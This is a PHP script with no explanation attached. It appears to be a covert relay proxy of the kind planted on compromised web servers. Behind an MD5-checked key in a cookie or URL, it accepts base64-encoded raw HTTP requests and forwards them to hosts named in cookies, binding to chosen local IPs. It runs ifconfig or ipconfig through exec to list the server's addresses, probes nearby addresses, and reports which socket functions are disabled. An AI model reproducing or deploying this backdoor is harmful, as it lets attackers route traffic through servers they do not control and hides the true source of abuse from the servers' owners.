<?php

	@ini_set('mbstring.http_output', 'UTF-8');
	@ini_set('mbstring.http_input', 'UTF-8');

	@mb_language('en');
	@mb_internal_encoding("UTF-8");
	@mb_regex_encoding("UTF-8");


	$key = 'f2c4890bba2ca9344b100b86962825af';
	$url = base64_decode($_GET['u']);	
	$IfConfigIPs = array();
	$SocketIPs = array();
	$UnixIPs = array();
	$socket_msg = "";
	$t = 1;
	$max_time = ini_get("max_execution_time");
	define ('BUF', 1024);
	if (($_COOKIE['debug'] == '1') || ($_GET['debug'] == '1'))	$debug = 1;
	if ($debug)	error_reporting(E_ALL ^ E_NOTICE);
		else error_reporting(0);		
		

	if ($debug)	{
		echo '[php]Debug mode';
	}



if ($debug)	{
	if (($_COOKIE['k'] != '' ) && (md5($_COOKIE['k']) != $key)) echo '[php]wrong key';
	if (($_GET['k'] != '' ) && (md5($_GET['k']) != $key)) echo '[php]wrong key';

}


if ($debug) echo '[php]MaxTime:'. $max_time . "\n";



	function FuncList(){
        $f = array("stream_context_create", "stream_socket_client", "base64_decode", "fgets");
        $df = ini_get('disable_functions');
        $df = explode(",",$df);

        foreach ($f as $k=>$ff){
                #if (!function_exists($ff)) $a .= $k .":";
                if (in_array($ff , $df) == true) $d.= $k.':';
        }
        return $d;

	}

	function getServerAddress() {
	    if(isset($_SERVER["SERVER_ADDR"]))
	    	return $_SERVER["SERVER_ADDR"];
	}

	function socketClient($url, $ip = NULL, $t = 1){	
		global $socket_msg;
		if (function_exists('stream_context_create')){
		 $urll = parse_url($url);
		 $tcp = "tcp://". $urll[host] .":80";

		if ($ip){
			$opts = array('socket' => array('bindto' => $ip . ':0'));
			$context = stream_context_create($opts);		
			$fp = @stream_socket_client($tcp, $errno, $errstr, $t, STREAM_CLIENT_CONNECT, $context);		
		}else{
				$fp = @stream_socket_client($tcp, $errno, $errstr, $t, STREAM_CLIENT_CONNECT);
		}
			
			
		if (!$fp) {
			$socket_msg = "[S]: $errstr ($errno)";
			return false;
		    
		} else {
			$s = "";
			$w = "GET ".$urll[path]. "?". $urll[query]. " HTTP/1.0\r\nHost: ". $urll[host] ."\r\nAccept: */*\r\n\r\n";
		    fwrite($fp,$w);
		    while (!feof($fp)) {
		        $s.= fgets($fp, 1024);
		    }
		    list($head, $body) = explode("\r\n\r\n", $s);
		    fclose($fp);
		    return $body;
		}
		}else{
			$socket_msg = '[S]:Socket:False' ;
			return false;
		}
	}



	function getServerAddressUnix() {
	    if(isset($_SERVER["SERVER_ADDR"]))
	    return $_SERVER["SERVER_ADDR"];
	    else {
	      if(stristr(PHP_OS, 'WIN')) {        
	        exec('ipconfig /all', $catch);
	        foreach($catch as $line) {
	        if(eregi('IP Address', $line)) {
	            if(count($lineCount = split(':', $line)) == 1) {
	        	    list($t, $ip) = split(':', $line);
	      	        $ip = trim($ip);
	            } else {
		            $parts = explode('IP Address', $line);
		            $parts = explode('Subnet Mask', $parts[1]);
		            $parts = explode(': ', $parts[0]);
		            $ip = trim($parts[1]);
	            }
	            if(ip2long($ip > 0)) {
	       	   	   if ($debug) echo 'IP is '.$ip."\n";
	     	       return $ip;
	            } else
	            ; 
	        }
	        }
	    } else {
	        $ifconfig = shell_exec('/sbin/ifconfig eth0');
	        preg_match('/addr:([\d\.]+)/', $ifconfig, $match);
	        return $match[1];
	    }
	    }
	}


	function getifconfigip(){
		
		$ifs = array('/sbin/ifconfig', '/usr/sbin/ifconfig', '/usr/local/sbin/ifconfig', '/bin/ifconfig', '/usr/bin/ifconfig', '/usr/local/bin/ifconfig' );
		$content = array();
		foreach($ifs as $if){
		if(!@file_exists($if)) continue;
		@exec($if, $content);
		$ips = array();
		foreach($content as $line){
				if(preg_match('!(inet |inet addr:)(\d+)\.(\d+)\.(\d+)\.(\d+) .+?mask!i', $line, $ip)) {
					$ip = "{$ip[2]}.{$ip[3]}.{$ip[4]}.{$ip[5]}";
					if($ip == '127.0.0.1') continue;
					$ips[] = $ip;
				}
			}
		}
		return $ips;
	}

	



if ((($_GET['a'] == 'ips') && (md5($_GET['k']) == $key) && (isset($_GET['u'])))){
		$IfConfigIPs = getifconfigip();
		
		$UnixIPs = getServerAddressUnix();


		$SocketIPs[] =	getServerAddress();
		$p = explode('.', getServerAddress());
		$mask1 = 0; 
		$mask2 = round(($max_time-2));
				
		if (($p[3] - $mask2) < 1) $s1 = 0; else $s1 = ($p[3] - $mask2);
		if (($p[3] + $mask2) > 254) $s2 = 255; else $s2 = ($p[3] + $mask2);
		
		$ipt = $p[0] .".". $p[1] .".";
		for ($k = ($p[2] - $mask1); $k <= ($p[2]+$mask1) ; $k++)
		for ($i = $s1; $i<=$s2; $i++){
			$ip = $ipt . $k . "." . $i;

				$sip = socketClient($url, $ip);
				#echo $sip . '<br>';

				if ((!($sip === false))&& ($sip <> getServerAddress()))  $SocketIPs[] = $sip;


		}
		
		if (count($IfConfigIPs) > 0) $SocketIPs = array_merge($SocketIPs, $IfConfigIPs);
		if (is_array($UnixIPs)) $SocketIPs = array_merge($SocketIPs, $UnixIPs);
		else $SocketIPs[] = $UnixIPs;
		
		$SocketIPs = array_unique($SocketIPs);
echo '[';
foreach ($SocketIPs as $k=>$v)
	echo $v , ',';
echo ']';
}



if (!empty($_COOKIE['d'])){ 	
	if (md5($_COOKIE['k']) != $key) exit;
	$ip = $_COOKIE['ip'];
	if ($_COOKIE['ip'] == '8.8.8.8') $ip = '';
	
	
	$request = base64_decode($_POST['r']) . "\r\n";


	#savelog("[REQUEST]\n".$request);

	if ($debug)
		if (strpos($request, "keep-alive") === true) echo '[php]Keep-alive found' . "\n";

	$keep_alive = array("Connection:keep-alive", "Connection: Keep-Alive", "Connection: keep-alive" , 
		"Connection : keep-alive", "Connection : \"keep-alive\"" , "Connection:\"keep-alive\"" , "Connection: \"keep-alive\"" ,
		"Connection :\"keep-alive\"" , "Connection : Keep-alive", "Connection:Keep-alive");
	$request = str_replace($keep_alive , "Connection: close", $request);
	$request = str_replace("Accept: */*" , "Accept: */*\nConnection: close", $request);

if ($debug)
		if (strpos($request, "keep-alive") === true) echo '[php]Keep-alive found' . "\n";

	if ($debug) print "[php][".$request."]\n";
	#savelog("[REQUEST Update]\n".$request);	
	
	if (($_COOKIE['p'] == 'socket') || ($_COOKIE['p'] == '')){
		if (($_COOKIE['port'] == '80') || ($_COOKIE['port'] == '8080')){
			$remote = "tcp://". $_COOKIE['d'] . ":80";	 
		}elseif (($_COOKIE['port'] == '443')){
			$remote = "tcp://". $_COOKIE['d'] . ":443";	 
		}
		
		if ($debug) print('[php]remote:'.$remote."\n");
		
		if (!empty($ip)){

			$opts = array('socket' => array('bindto' => $ip . ':0'));
			$context = stream_context_create($opts);		
			$fp = stream_socket_client($remote, $errno, $errstr, 25, STREAM_CLIENT_CONNECT, $context);
			#logs('IP:'.$ip."\n");			
			if ($debug) print ('[php]IP:' . $ip . "\n");
		}else{
			$fp = stream_socket_client($remote, $errno, $errstr, 25, STREAM_CLIENT_CONNECT);
			if ($debug) print "[php]NO IP\n";

		} 
		 #$fp = stream_socket_client($remote, $errno, $errstr, 30);
		
		if (!$fp) {
		    if ($debug) "[php]$errstr ($errno)<br />\n";
		    if ($debug)  "[php][".$remote."]\n";

		} else {
		    fwrite($fp, $request);
		    $respond = '';
		    while (!feof($fp)){
		        $s = fgets($fp, BUF);
		        $respond .= $s;      
		       #print($s);   
		    }
		    #savelog("[Answer]\n".$respond);

		 #   $encoding = mb_detect_encoding($respond);
		 #   echo '[php]Enc:' . $encoding  . '[/php]';	
#
#			if( $encoding !== "UTF-8" ) {
#
#			$respond = mb_convert_encoding($respond, "UTF-8", $encoding);
#			    
#			}
#			echo '[php]Enc.UTF:'. mb_detect_encoding($respond) .'[/php]'; 

		    echo "[php][RES]" . base64_encode($respond) . "[/RES]\n";
		    echo "[php]<MSG>done</MSG>";
		    fclose($fp);
		   
		}
	}elseif ($_COOKIE['p'] == 'curl'){
		#	CURL PROCESSING
	}
}


function savelog($str){
	$filename = 'log.txt';
if (is_writable($filename)) {
    if (!$handle = fopen($filename, 'a')) {
        exit;
    }
    if (fwrite($handle, $str . "\n\n\n") === FALSE) {
         exit;
    }
    fclose($handle);

	} else {
	    echo "[php]The file $filename is not writable[/php]";
	}
}

function initconnect(){
	$fp = stream_socket_client("tcp://wikipedia.org:80", $errno, $errstr);
	$request = "GET / HTTP/1.0\r\nHost: www.wikipedia.org\r\nConnection: close\r\nAccept: */*\r\n\r\n";
	if (!$fp) {
    	echo "$errstr ($errno)<br />\n";
	} else {
	   fwrite($fp, $request);
	   stream_set_timeout($fp, 3);
		    $respond = "";
		    while (!feof($fp)){
		        $s = fgets($fp, BUF);
		        $respond .= $s;      		       
		    }
		#print_r($respond);
		fclose($fp);
	}

	 if (1 != preg_match("/^HTTP\/[0-9\.]* ([0-9]{3}) ([^\r\n]*)/", $respond, $matches)) {
	 	return 'http-err';
	 }
	 #print_r($matches);
	 if ($matches[1] == '200') {
	 	return 'http-ok';
	 }

}

if ($_GET['a'] == 'func'){
	
	if (FuncList() == '') echo 'func-ok|'; else 
	echo ''.FuncList().']';
	echo initconnect();

	echo '|' . mb_internal_encoding() . ':'. mb_regex_encoding();

}

?>